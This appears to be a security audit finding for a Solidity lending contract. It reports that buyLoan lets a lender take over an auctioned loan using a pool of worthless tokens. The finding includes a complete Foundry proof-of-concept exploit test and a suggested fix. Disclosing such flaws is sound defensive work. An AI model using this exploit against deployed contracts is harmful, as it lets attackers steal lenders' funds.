In the buyLoan function which allows lenders to buy active loans from other lender, it is never checked if the new pool set the same token as the loanToken as the pool before did, only if there is enough of any token inside the new pool. This allows to buy a loan with a pool of worthless tokens.
The following POC code shows the attack path, it can be implemented inside the current test folder of the repo.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TestERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract BuyingLoanWithWrongTokenTest is Test {
Lender public lender;
TestERC20 public loanToken;
TestERC20 public collateralToken;
TestERC20 public worthlessToken;
address public attacker = vm.addr(1);
address public user1 = vm.addr(2);
address public user2 = vm.addr(3);
function setUp() public {
lender = new Lender();
loanToken = new TestERC20();
collateralToken = new TestERC20();
worthlessToken = new TestERC20();
loanToken.mint(user1, 1000 * 10 ** 18);
collateralToken.mint(user2, 1000 * 10 ** 18);
worthlessToken.mint(attacker, 2000 * 10 ** 18);
}
function test_buying_loan_with_wrong_token() public {
vm.startPrank(user1);
loanToken.approve(address(lender), 1000*10**18);
lender.setPool(
Pool({
lender: user1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
})
);
vm.stopPrank();
vm.startPrank(user2);
collateralToken.approve(address(lender), 100*10**18);
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: lender.getPoolId(user1, address(loanToken), address(collateralToken)),
debt: 200*10**18,
collateral: 100*10**18
});
lender.borrow(borrows);
vm.stopPrank();
vm.startPrank(user1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.stopPrank();
vm.warp(block.timestamp + 1 days / 2);
vm.startPrank(attacker);
worthlessToken.approve(address(lender), 2000*10**18);
lender.setPool(
Pool({
lender: attacker,
loanToken: address(worthlessToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 2000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
})
);
lender.buyLoan(0, lender.getPoolId(attacker, address(worthlessToken), address(collateralToken)));
vm.stopPrank();
}
}
Users are able to buy loans for free and therefore steal funds.
Check if the pool of the buyer and the loan to buy are about the same tokens.